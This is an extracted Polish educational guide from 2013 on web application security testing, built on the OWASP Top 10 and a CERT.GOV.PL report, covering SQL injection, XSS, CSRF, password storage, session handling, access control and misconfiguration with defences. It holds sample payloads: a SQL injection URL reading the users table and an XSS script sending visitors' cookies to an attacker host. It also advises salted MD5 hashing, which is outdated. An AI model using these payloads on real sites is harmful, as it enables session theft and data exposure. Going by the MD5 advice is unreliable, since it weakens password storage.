Niniejsza praca ma za zadanie przedstawić zagrożenia związane z bezpieczeństwem aplikacji internetowych. Omawia najpowszechniejsze rodzaje zagrożeń, przykłady podatności i sposoby ochrony. Pozwoli na zapoznanie się z ogólnymi zasadami, którymi powinny kierować się osoby odpowiedzialne za wytwarzanie systemów webowych. Jest również bazą która pozwoli skuteczniej przeprowadzać audyty bezpieczeństwa.

1.
TESTOWANIE
POZIOMU
BEZPIECZEŃSTWA
APLIKACJI
INTERNETOWYCH
Teoria
i
praktyka
v.
1.0
HISTORIA
ZMIAN
28.05.2013
v.
1.0
Antoni
Orfin
<antoniorfin@gmail.com>
Pierwsza
wersja
dokumentu.

2. 2
|
S t r o n a
SPIS
TREŚCI
Historia
zmian
.........................................................................................................................................................
1
1.
Wstęp
..............................................................................................................................................................
3
OWASP
Top
10
2013
...........................................................................................................................................
3
Raport
o
stanie
bezpieczeństwa
cyberprzestrzeni
RP
w
2011
roku
....................................................................
3
2.
Podatności
systemów
webowych
...................................................................................................................
4
Injection
–
bezpośrednie
wstrzykiwanie
kodu
....................................................................................................
4
Cross-­‐Site
Scripting
(XSS)
....................................................................................................................................
4
Cross-­‐Site
Request
Forgery
(CSRF)
......................................................................................................................
5
Przechowywanie
danych
uwierzytelniających
w
postaci
jawnej
........................................................................
5
Niewłaściwie
zaprojektowane
mechanizmy
rejestracji
użytkowników,
przypominania
hasła,
zmiany
hasła
.....
6
Przechowywanie
ID
sesji
w
adresie
www
...........................................................................................................
6
Niezabezpieczony,
bezpośredni
dostęp
do
zasobów
..........................................................................................
7
Błędna
konfiguracja
środowiska
.........................................................................................................................
7
3.
Zasady
projektowania
i
rozwijania
bezpiecznych
aplikacji
internetowych
.....................................................
9
Określenie
wewnętrznych
standardów
dotyczących
bezpieczeństwa
................................................................
9
Przeprowadzanie
regularnych
testów
bezpieczeństwa
......................................................................................
9
Stworzenie
środowiska
testowego
.....................................................................................................................
9
Zastosowanie
Web
Application
Firewall
.............................................................................................................
9
4.
Obowiązujące
standardy
i
dobre
praktyki
dotyczące
testowania
bezpieczeństwa
serwisów
.......................
10
Open
Source
Security
Testing
Methodology
Manual
(OSSTMM)
.....................................................................
10
OWASP
Testing
Guide
.......................................................................................................................................
10

3. 3
|
S t r o n a
1. WSTĘP
Niniejsza
praca
ma
za
zadanie
przedstawić
zagrożenia
związane
z
bezpieczeństwem
aplikacji
internetowych.
Omawia
najpowszechniejsze
rodzaje
zagrożeń,
przykłady
podatności
i
sposoby
ochrony.
Pozwoli
na
zapoznanie
się
z
ogólnymi
zasadami,
którymi
powinny
kierować
się
osoby
odpowiedzialne
za
wytwarzanie
systemów
webowych.
Jest
również
bazą
która
pozwoli
skuteczniej
przeprowadzać
audyty
bezpieczeństwa.
Dokument
opiera
się
na
dwóch
publikacjach,
które
zostały
opisane
poniżej:
• OWASP
TOP
10
2013
• Raport
o
stanie
bezpieczeństwa
cyberprzestrzeni
RP
w
2011
roku
OWASP
TOP
10
20131
Publikacja
wydana
przez
organizacją
OWASP
2
(Open
Web
Application
Security
Project).
Głównym
celem
organizacji
jest
edukowanie
programistów,
architektów
aplikacji
i
managerów
o
konsekwencjach
jakie
niosą
podatności
aplikacji
webowych.
Jej
członkami
są
kluczowe
osoby
związane
z
branżą
e-­‐bezpieczeństwa.
Aktualnym
przewodniczącym
organizacji
jest
Michael
Coates,
pełniący
również
funkcję
dyrektora
ds.
bezpieczeństwa
w
Mozilla
Corporation.
Określa
dziesięć
najkrytyczniejszych
i
najpowszechniejszych
rodzajów
luk
bezpieczeństwa
aplikacji
webowych.
Publikacja
bazuje
na
danych
zebranych
w
czterech
firmach
konsultingowych
i
narzędziach
do
automatyzacji
procesu
testowania
bezpieczeństwa.
Zebrane
dane
obejmują
ponad
500.000
wykrytych
podatności.
Zostały
one
sklasyfikowane
do
dziesięciu
kategorii,
ich
priorytet
został
określony
na
bazie
powszechności
występowania,
możliwościach
ich
wykorzystania,
wykrywalności
i
przewidywanym
ryzyku,
które
niosą.
RAPORT
O
STANIE
BEZPIECZEŃSTWA
CYBERPRZESTRZENI
RP
W
2011
ROKU
3
Raport
opracowany
przez
Rządowy
Zespół
Reagowania
na
Incydenty
Komputerowe
CERT.GOV.PL.
CERT.GOV.PL
jest
zespołem
powołanym
w
2008
roku.
Do
jego
podstawowych
zadań
należy
zapewnianie
i
rozwijanie
zdolności
jednostek
organizacyjnych
administracji
publicznej
Rzeczypospolitej
Polskiej
do
ochrony
przed
cyberzagrożeniami,
ze
szczególnym
uwzględnieniem
ataków
ukierunkowanych
na
infrastrukturę
obejmującą
systemy
i
sieci
teleinformatyczne,
których
zniszczenie
lub
zakłócenie
może
stanowić
zagrożenie
dla
życia,
zdrowia
ludzi,
dziedzictwa
narodowego
oraz
środowiska
albo
spowodować
poważne
straty
materialne,
a
także
zakłócić
funkcjonowanie
państwa.
Raport
w
szczegółowy
sposób
omawia
statystyki
incydentów
zarejestrowanych
przez
zespół,
w
tym
system
ARAKIS-­‐GOV
4
.
1
www.owasp.org/index.php/Top_10_2013
2
www.owasp.org
3
www.cert.gov.pl/download/3/137/Raport_roczny_2011_.pdf
4
arakis.cert.pl/pl/index.html

4. 4
|
S t r o n a
2. PODATNOŚCI
SYSTEMÓW
WEBOWYCH
INJECTION
–
BEZPOŚREDNIE
WSTRZYKIWANIE
KODU
Atak
polega
na
wstrzyknięciu
niezaufanego
kodu,
który
następnie
jest
bezpośrednio
wykonywany
przez
aplikację
webową.
Najpowszechniejszym
atakiem
tego
typu
jest
SQL
Injection.
Polega
on
wstrzyknięciu
do
zapytania
SQL,
budowanego
przez
aplikację
webową,
kwerendy
atakującego.
W
raporcie
zespołu
CERT.GOV.PL
podatność
uklasyfikowała
się
na
drugim
miejscu
pod
względem
ilości
wystąpień.
Znalazła
się
w
kategorii
błędów
o
najwyższym
poziomie
zagrożenia.
PRZYKŁAD
Strona
umożliwia
pobranie
z
bazy
danych
artykułu
na
podstawie
jego
ID
przekazanego
w
parametrze
Query
String.
www.strona.pl/artykuly?id=12
SELECT * FROM artykuly WHERE artykul_id=”12”;
Gdy
parametr
„id”
nie
zostanie
przefiltrowany
możliwe
będzie
wykonanie
ataku,
który
spowoduje
spreparowania
zapytania
SQL
do
bazy:
www.strona.pl/artykuly?id=12”; SELECT * FROM użytkownicy; --
SELECT * FROM artykuly WHERE artykul_id=”12”; SELECT * FROM użytkownicy; --”;
OCHRONA
Każde
dane
pochodzące
„z
zewnątrz”
należy
filtrować
po
stronie
serwera.
Filtrowanie
może
polegać
na
usuwaniu
niebezpiecznych
znaków,
lub
ich
odpowiednim
escape’owaniu
(np.
opuszczanie
cudzysłowów,
apostrofów
w
danych
używanych
przy
zapytaniu
SQL).
Należy
pamiętać,
że
ich
obsługa
po
stronie
klienta
(np.
za
pomocą
skryptów
JavaScript)
nie
jest
wystarczająca
–
atakujący
nie
będzie
miał
problemu,
aby
spreparować
fizyczne
żądanie
do
aplikacji
serwerowej.
CROSS-­‐SITE
SCRIPTING
(XSS)
66%
podatności
wykrytych
przez
zespół
CERT.GOV.PL
dotyczyła
ataków
typu
Cross-­‐Site
Scripting
–
XSS.
Ten
rodzaj
podatności
występuje
gdy
dane
odebrane
z
zewnątrz
(np.
wysłane
przez
użytkownika
w
formularzu,
przekazane
w
żądaniu
HTTP)
nie
są
odpowiednio
filtrowane
przed
zwróceniem
do
przeglądarki
klienta.
Atak
umożliwia
wykonanie
kodu
HTML
i
JavaScript
na
podatnej
stronie.
Dzięki
niemu
atakujący
ma
min.
możliwość
przechwycenia
sesji
użytkownika,
przekierowania
na
inną
stronę
lub
wyrenderowania
własnego
kodu
HTML,
który
w
efekcie
zmieni
wygląd
strony
(deface).
PRZYKŁAD
W
naszej
aplikacji
użytkownicy
mogą
dodawać
komentarze
do
wpisów.
Atakujący
wysyła
komentarz
zawierający
treść:
<script>document.write('<img
src="http://www.haker.pl/p.gif?c='+document.cookie+'">');</script>
Komentarz
wyświetla
się
na
stronie.
W
efekcie
zawartość
Cookies
kolejnych
odwiedzających
zostaje
w
sposób
niewidoczny
wysyłana
i
zapisywana
na
serwerze
atakującego.

5. 5
|
S t r o n a
OCHRONA
• Filtrowanie
danych
wyjściowych
–
domyślnie
wszystkie
niezaufane
dane
wyjściowe
powinny
być
filtrowane.
Tagi
HTML
mogą
być
usuwane
lub
escape’owane.
• Zastosowanie
whitelisty
tagów
–
czasami
pożądane
jest
gdy
zewnętrzne
treści
zawierają
niektóre
tagi
HTML
(np.
podstawowe
formatowanie
tekstu).
Możliwe
jest
zastosowanie
listy
tagów
dozwolonych.
Należy
pamiętać,
że
dodatkowo
w
tej
sytuacji
trzeba
wykorzystać
mechanizmy
pozwalające
na
uporządkowanie
i
walidowanie
kodu
HTML.
Może
się
zdarzyć
sytuacja,
gdy
użytkownik
np.
nie
domknie
tag’a
HTML
co
w
efekcie
spowoduje
drastyczną
zmianę
wyglądu
naszej
strony
(deface).
CROSS-­‐SITE
REQUEST
FORGERY
(CSRF)
Atak
tego
typu
pozwala
na
zdalne
wykonywanie
akcji
aplikacji
internetowej
przez
atakującego.
Po
przez
niezabezpieczenie
akcji
mających
skutki
uboczne
(np.
usuwanie,
modyfikowanie,
dodawanie
zasobów)
możliwe
jest
osadzenie
na
stronie
obrazka,
skryptu
JavaScript,
arkusza
stylów
CSS
odnoszącego
się
bezpośrednio
do
podatnej
akcji
i
jej
wykonanie.
Podatność
umożliwia
również
zatwierdzanie
niezabezpieczenia
formularzy
metodą
POST.
Atak
jest
szczególnie
groźny
w
połączeniu
z
podatnością
typu
XSS
gdzie
istnieje
możliwość
jego
osadzenia
bezpośrednio
na
„oryginalnej”
stronie.
PRZYKŁAD
W
aplikacji
dostępna
jest
akcja
natychmiastowego
usuwania
użytkowników
za
pomocą
kliknięcia
na
link
postaci:
www.strona.pl/uzytkownicy/usun?id=5
Atakujący
może
osadzić
obrazek
z
powyższym
linkiem
na
swojej
stronie:
<img src=”http://www.strona.pl/uzytkownicy/usun?id=5”>
Każde
wejście
na
stronę
atakującego
spowoduje
żądanie
o
stronę
usuwania
użytkownika.
Jeżeli
aktualnie
jesteśmy
zalogowani
na
podatnej
stronie,
akcja
zostanie
w
sposób
niewidoczny
wykonana.
OCHRONA
• Używanie
tokenów
zabezpieczających
–
doklejanie
do
linków
specjalnych,
losowych
tokenów
walidowanych
po
stronie
serwera.
Należy
je
również
dodawać
jako
niewidoczne
pola
(typ
„hidden”)
do
wszystkich
formularzy
aplikacji.
Tokeny
do
porównania
można
zapamiętywać
w
sesji
użytkownika.
• Używanie
metody
POST
do
akcji
mających
„skutki
uboczne”
–
akcje
zmieniające
stan
aplikacji
nie
powinny
być
możliwe
do
wykonania
po
przez
żądanie
GET.
Powyższe
zalecenie
jest
również
określone
w
samej
specyfikacji
protokołu
HTTP/1.1
-­‐
RFC
2616
5
.
Należy
pamiętać,
że
samo
używanie
metody
POST
nie
zabezpieczy
aplikacji
przed
atakiem
CSRF.
PRZECHOWYWANIE
DANYCH
UWIERZYTELNIAJĄCYCH
W
POSTACI
JAWNEJ
Zapisywanie
w
bazie
danych
hasła
użytkownika
w
formie
jawnej
(czysty
tekst).
Po
uzyskaniu
przez
atakującego
dostępu
do
bazy
danych
uzyskuje
on
pełną
informację
o
użytkownikach
i
możliwość
zalogowania
się
na
ich
konta.
5
www.ietf.org/rfc/rfc2616.txt
-­‐
rozdział
„13.9
Side
Effects
of
GET
and
HEAD”

6. 6
|
S t r o n a
Należy
zwrócić
również
uwagę,
że
większość
użytkowników
używa
tego
samego
hasła
w
wielu
usługach.
Poznanie
go
w
naszej
aplikacji
może
spowodować
możliwość
włamania
się
do
kont
użytkownika
w
innych
miejscach
–
np.
na
skrzynkę
e-­‐mail.
PRZYKŁAD
30
września
2011
roku
atakujący
po
przez
wykorzystanie
wcześniej
opisanego
błędu
SQL
Injection
dostali
listę
haseł
użytkowników
ponad
300
witryn
samorządowych.
Hasła
zostały
zwrócone
w
postaci
jawnej.
Atakujący
mieli
pełną
możliwość
wykorzystania
poznanych
danych
do
dalszych
kroków
ataku.
OCHRONA
Najprostszą
i
wysoce
skuteczną
metodą
na
uniknięcie
wycieku
haseł
jest
zapisywanie
w
bazie
danych
hasha
(jednokierunkowa
funkcja
skrótu)
z
hasła,
dodatkowo
zabezpieczonego
unikalną
dla
użytkownika
„solą”.
HASH = MD5(„hasło użytkownika” + „losowa sól użytkownika”)
Uniemożliwi
to
wykorzystanie
np.
Rainbow
Tables
do
znalezienia
odpowiadających
hash’ów.
Posiadając
dużą
aplikację,
zarządzającą
wieloma
kontami
użytkowników
w
bazie,
może
się
zdarzyć,
że
kilka
osób
będzie
posiadało
to
samo
hasło.
Dzięki
dodaniu
unikalnej
dla
użytkownika
soli
utrudnimy
atak
–
gdyby
atakującemu
udało
się
poznać
parę
hasło
–
hash
jednego
z
użytkowników
nie
miałby
możliwości
wykorzystania
tych
informacji
do
włamania
się
na
konta
innych
z
tym
samym
hasłem
(posiadali
by
oni
inne
hashe).
NIEWŁAŚCIWIE
ZAPROJEKTOWANE
MECHANIZMY
REJESTRACJI
UŻYTKOWNIKÓW,
PRZYPOMINANIA
HASŁA,
ZMIANY
HASŁA
Najpowszechniejszą
metodą
zmiany
hasła
lub
jego
przypomnienia
jest
wysłanie
na
adres
e-­‐mail
użytkownika
wiadomości
zawierającej
adres
ze
specjalnym
tokenem.
Niezastosowanie
mechanizmów
wygasania
tokena
może
dać
większe
możliwości
na
atak
na
konta
użytkowników.
URL
z
tokenem
zostaje
zapamiętany
w
historii
przeglądarki,
logach
serwera,
wiadomościach
e-­‐
mail
użytkownika
–
istnieje
wiele
potencjalnych
ścieżek
na
jego
poznanie.
PRZYKŁAD
Użytkownik
„Jan123”
rok
temu
zapomniał
swojego
hasła
do
serwisu
dlatego
użył
mechanizmu
przypomnienia
hasła.
Na
jego
skrzynkę
e-­‐mail
doszła
wiadomość
z
linkiem
zawierającym
token
zmiany
hasła.
Będąc
świadomym
użytkownikiem
internetu,
Jan
usunął
wiadomość
ze
swojej
skrzynki
odbiorczej.
W
tym
czasie
Jan
zmienił
swoje
konto
pocztowe.
Niestety
atakujący
uzyskał
dane
dostępowe
do
starego
konta
e-­‐maila
Jana.
W
folderze
„usuniętych”
odnalazł
wiadomości
z
serwisu.
Po
testach
okazało
się,
że
dawne
URLe
zmiany
hasła
dalej
działają.
Haker
uzyskał
możliwość
zmiany
hasła
Jana.
OCHRONA
• Ustawianie
czasu
życia
tokenów.
• Zmiana
tokena
po
jego
wykorzystaniu
–
natychmiast
po
wykorzystaniu
tokena
(np.
po
zastosowaniu
zmiany
hasła,
aktywacji
konta)
należy
go
dezaktywować
lub
usunąć.
PRZECHOWYWANIE
ID
SESJI
W
ADRESIE
WWW
Gdy
ID
sesji
przekazujemy
w
URL
aplikacji,
możliwy
jest
jego
łatwy,
przypadkowy
wyciek.
Szczególnie
dotyczy
to
aplikacji
społecznościowych,
nastawionych
na
wymianę
linków
pomiędzy
użytkownikami.
Po
poznaniu
ID
sesji
atakujący
uzyskuje
dostęp
jako
zalogowany
użytkownik.

7. 7
|
S t r o n a
PRZYKŁAD
Jan
złożył
rezerwację
na
wycieczkę
w
serwisie
turystycznym.
Chcąc
pochwalić
się
znajomym,
wysłał
do
nich
adres
strony
oferty
–
www.travel.pl/oferta?id=12&sessionID=539yengwal4432567.
Po
wejściu
na
URL
znajomi
Jana
zobaczyli,
że
są
zalogowani
na
jego
konto,
z
którego
mogli
min.
odwołać
jego
zamówienie.
OCHRONA
Najprostszą
i
skuteczną
metodą
zabezpieczenia
jest
przekazywanie
tego
typu
parametrów
w
cookies.
NIEZABEZPIECZONY,
BEZPOŚREDNI
DOSTĘP
DO
ZASOBÓW
Podatność
występuje,
gdy
w
niewłaściwy
sposób
jest
sprawdzane
czy
dany
użytkownik
jest
uprawniony
do
dostępu
do
żądanego
zasobu.
Dotyczy
to
modułów
aplikacji,
konkretnych
podstron,
akcji
w
których
biorą
udział
„obiekty”
-­‐
zasoby
systemu
(np.
dane
pobierane
z
bazy
danych).
PRZYKŁAD
1
Pewny
sklep
internetowy
umożliwia
podgląd
historii
dokonywanych
przez
siebie
zamówień.
Dostęp
odbywa
się
po
przez
adresy
typu
www.strona.pl/moje-­‐zamowienia?id=12.
Po
przez
podmianę
parametru
ID
możliwe
jest
zobaczenie
zamówienia
innych
osób.
Nie
jest
sprawdzane
czy
to
zalogowany
użytkownik
jest
właścicielem
zamówienia
o
danym
ID.
Dzięki
temu,
że
ID
zamówień
powstają
na
zasadzie
autoinkrementacji
łatwe
jest
zgadnięcie
identyfikatorów
innych.
PRZYKŁAD
2
Popularnym
frameworkiem
aplikacji
webowych
pisanych
w
języku
PHP
jest
Symfony.
Jego
domyślna
ścieżka
do
panelu
administracyjnego
to
/backend.php.
Podmiana
URLa
na
www.strona.pl/backend.php
spowoduje
przejście
do
panelu
administracyjnego
aplikacji.
OCHRONA
• Używanie
mechanizmów
autoryzacji
–
należy
zawsze
sprawdzać
czy
użytkownik
posiada
odpowiedni
poziom
uprawnień
do
żądanego
zasobu.
• Nieużywanie
„jasnych”
identyfikatorów
zasobów
-­‐
dla
zasobów
krytycznych
możliwe
jest
używanie
identyfikatorów
typu
UUID
6
zamiast
standardowych,
autoinkrementowanych
wartości.
Dzięki
temu
spowodujemy
również,
że
użytkownicy
nie
dowiedzą
się
o
danych
statycznych
naszej
aplikacji
–
np.
ilości
zamówień
w
sklepie
internetowym.
ID
=
12
może
oznaczać,
że
w
sklepie
złożono
dotychczas
12
zamówień.
• Dostęp
do
zasobów
powinien
być
domyślnie
ustawiony
na
„zabroniony”
–
udzielenie
dostępu
powinno
być
świadome.
BŁĘDNA
KONFIGURACJA
ŚRODOWISKA
Podatność
dotyczy
wszystkich
poziomów
aplikacji
webowej
–
serwera,
frameworka
aplikacji,
kodu
aplikacji.
Z
raportu
zespołu
CERT.GOV.PL
wynika,
że
najczęściej
występujące
błędy
sieci
administracji
publicznej
związane
są
z
opisywaną
podatnością.
Raport
o
stanie
bezpieczeństwa
cyberprzestrzeni
RP
w
2011
roku
–
Rozdział
2.4
6
en.wikipedia.org/wiki/Universally_unique_identifier

8. 8
|
S t r o n a
Do
najczęstszych
błędów
wykrytych
podczas
testów
zabezpieczeń
sieci
i
zasobów
teleinformatycznych
wewnętrznych
instytucji
należą:
-­‐
Błąd
konfiguracyjny
polegający
na
uruchomieniu
usług
serwerowych
zawierających
ustawione
domyślne
dane
autoryzacyjne
w
postaci
domyślnego
hasła
dla
użytkownika
z
uprawnieniami
administracyjnymi
(serwery
WWW,
serwery
bazodanowe).
-­‐
Błąd
konfiguracyjny
polegający
na
pozostawieniu
aktywnym
konta
administratora
lokalnego
na
systemach
z
rodziny
systemów
Windows
działających
w
ramach
Active
Directory.
-­‐
Brak
aktualizacji
zainstalowanego
oprogramowania
na
systemach
serwerowych
jak
i
brak
aktualizacji
samych
systemów
operacyjnych
w
sieci
lokalnej.
PRZYKŁAD
1
W
efekcie
włączonej
domyślnie
opcji
listingu
plików
możliwe
jest
podejrzenie
plików
obecnych
w
folderach
na
serwerze.
Niektóre
pliki
nie
zostały
poprawnie
zabezpieczone
przez
zespół
programistów
i
możliwe
jest
otworzenie
pliku
„config.ini”
zawierającego
dane
dostępowe
do
serwera
baz
danych.
PRZYKŁAD
2
W
czasie
żądania
do
aplikacji
internetowej
nie
udało
się
uzyskać
połączenia
z
bazą
danych.
Zespół
zapomniał
na
środowisku
produkcyjnym
wyłączyć
pokazywanie
szczegółów
błędów
aplikacji.
W
efekcie
użytkownik
dostał
pełną
informację
o
przebiegu
błędu
wraz
ze
szczegółami
danych
za
pomocą
których
próbowano
nawiązać
połączenie
–
nazwę
użytkownika
i
hasło
bazy
danych.
OCHRONA
• Posiadanie
aktualnych
wersji
oprogramowania
-­‐
opracowanie
standardu
procesu
aktualizacji
oprogramowania
(biblioteki,
framework,
skrypty,
moduły
zewnętrzne).
• Wyłączenie,
odinstalowanie
wszystkich
niepotrzebnych
„furtek”
do
systemu
–
usunięcie
domyślnych
kont
administracyjnych,
zablokowanie
portów,
usunięcie
testowych
serwisów,
skryptów,
aplikacji.
• Zmiana
domyślnych
danych
dostępowych
–
zmiana
domyślnych
systemowych
(lub
dla
zastosowanego
frameworka
aplikacji
webowej)
haseł
do
kont
administracyjnych.
• Ustawienie
poziomu
zwracania
informacji
o
błędach
-­‐
wyłączenie
zwracania
użytkownikowi
szczegółowych
informacji
o
błędach
aplikacji,
w
tym
„stack
traces”
(przebieg
błędu
w
kodzie).
Dzięki
temu
zmniejszy
się
ryzyko
ujawnienia
niepożądanych
danych
–
np.
komunikat
błędu
połączenia
do
bazy
danych
może
ujawnić
dane
dostępowe,
którymi
aplikacja
próbowała
się
uwierzytelniać.
• Odpowiednie
ustawienia
w
plikach
konfiguracyjnych
–
właściwe
ustawienie
konfiguracji
środowiska,
szczególnie
związanej
z
uprawnieniami
dostępu.
• Modułowa
architektura
aplikacji
–
zastosowanie
modułowej
budowy,
która
zapewni,
że
nawet
w
przypadku
uzyskania
nieuprawnionego
dostępu
do
jednej
części
inne
będą
bezpieczne.

9. 9
|
S t r o n a
3. ZASADY
PROJEKTOWANIA
I
ROZWIJANIA
BEZPIECZNYCH
APLIKACJI
INTERNETOWYCH
OKREŚLENIE
WEWNĘTRZNYCH
STANDARDÓW
DOTYCZĄCYCH
BEZPIECZEŃSTWA
Oprócz
opracowania
typowych
standardów
programistycznych
(Code
Quality)
należy
wyznaczyć
analogiczne
związane
z
bezpieczeństwem.
Będzie
to
wyznacznik
dla
zespołu
programistów,
z
którego
będzie
można
ich
następnie
kontrolować.
PRZEPROWADZANIE
REGULARNYCH
TESTÓW
BEZPIECZEŃSTWA
Aplikacja
powinna
być
stale
poddawana
audytom
(testom
penetracyjnym)
przez
zewnętrzny,
niezwiązany
z
osobami
ją
wdrażającymi,
zespół.
STWORZENIE
ŚRODOWISKA
TESTOWEGO
Rozwój
aplikacji
powinien
odbywać
się
na
środowisku
testowym,
które
jest
jak
najwierniejszą
kopią
środowiska
produkcyjnego.
Dopiero
po
fazie
testów
zmiany
powinny
być
wdrażane
na
środowisko
produkcyjne.
Nieprzetestowane
fragmenty
nie
powinny
być
dostępne
„z
zewnątrz”.
ZASTOSOWANIE
WEB
APPLICATION
FIREWALL
7
Możliwe
jest
zainstalowanie
aplikacji
działającej
jako
Firewall
przed
aplikacją
webową.
Filtruje
ona
żądanie
HTTP
na
podstawie
zdefiniowanych
reguł.
Dzięki
temu
można
łatwo
automatycznie
wyłapać
klasyczne
ataki
typu
XSS,
SQL
Injection
itp.
Popularne
rozwiązania:
• Modsecurity
8
-­‐
darmowe,
Open
Source’owe,
narzędzie.
Posiada
predefiniowane
filtry,
jednak
istnieje
możliwość
dogrania
własnych.
Darmowy
zestaw
filtrów
bazujących
na
raporcie
OWASP:
http://spiderlabs.github.io/owasp-­‐modsecurity-­‐crs/
• Cloudflare
9
-­‐
płatna
usługa
posiadająca
rozbudowane
możliwości
„security”.
Oprócz
tradycyjnych
możliwości
WAF
potrafi
również
zabezpieczyć
przed
atakami
DDoS.
7
www.owasp.org/index.php/Web_Application_Firewall
8
www.modsecurity.org
9
www.cloudflare.com

10. 10
|
S t r o n a
4. OBOWIĄZUJĄCE
STANDARDY
I
DOBRE
PRAKTYKI
DOTYCZĄCE
TESTOWANIA
BEZPIECZEŃSTWA
SERWISÓW
Na
rynku
istnieje
wiele
gotowych
publikacji
opisujących
metodyki
testów
bezpieczeństwa.
Są
to
tzw.
frameworki
–
kompletne
opisy
krok
po
kroku
w
jaki
sposób
należy
się
przygotowywać
do
testów,
jak
je
przeprowadzać
i
jak
wyciągać
z
nich
wnioski
–
włącznie
z
gotowymi
szablonami
raportów.
Poniżej
opisane
zostały
najpopularniejsze
prace.
OPEN
SOURCE
SECURITY
TESTING
METHODOLOGY
MANUAL
(OSSTMM)10
Dokument
zawiera
opisy
dokonywania
testów
bezpieczeństwa
na
poziomie
całej
organizacji.
Są
w
nim
opisane
metodyki
obowiązujące
przy
testach:
• Bezpieczeństwa
fizycznego
–
zapewnienie
fizycznego
bezpieczeństwa
organizacji.
Kontrola
dostępów,
dostępność
firmowych
zasobów,
zapewnienie
rozgraniczenia
pomiędzy
zasobami
prywatnymi
a
firmowymi,
kontrola
poziomów
uprawnień
pracowników.
• Bezpieczeństwa
na
poziomie
osobistym
-­‐
ochrona
przed
atakami
socjotechnicznymi
(inżynieria
społeczna).
• Bezpieczeństwa
sieci
bezprzewodowych
–
zapewnienie,
aby
niepowołane
dane
nie
przedostały
się
na
zewnątrz
przedsiębiorstwa
drogą
bezprzewodową.
• Bezpieczeństwo
sieci
telekomunikacyjnych
–
zabezpieczenia
skrzynek
głosowych,
urządzeń
VOIP,
FAX,
tradycyjnych
telefonów.
• Bezpieczeństwo
w
sieci
internet
–
min.
testy
serwerów,
aplikacji
internetowych,
serwerów
baz
danych,
poczty
elektronicznej.
Zawiera
gotowe
szablony
raportów
przeznaczone
dla
kadry
wyższego
szczebla
(executive
summary)
opisujące
główne,
biznesowe
aspekty
przeprowadzonych
testów.
OWASP
TESTING
GUIDE
11
Publikacja
zawiera
metodykę
testowania
aplikacji
webowych.
Skupia
się
na
sposobie
przeprowadzania
testów
penetracyjnych.
Opisuje:
• Techniki
i
narzędzia
stosowane
przy
testowaniu
bezpieczeństwa
aplikacji
internetowej
• Zbieranie
informacji
o
testowanej
aplikacji
(rekonesans
środowiska)
• Testy:
o Uwierzytelniania,
autoryzacji
o logiki
biznesowej
o walidacji
danych
o ataków
typu
Denial
of
service
(DDoS)
o zarządzania
sesjami
o web-­‐services
(SOA
-­‐
Service
Orientated
Architecture)
o mechanizmów
AJAX
• Określanie
ryzyka
wykrytych
podatności
10
www.isecom.org/research/
11
www.owasp.org/index.php/OWASP_Testing_Project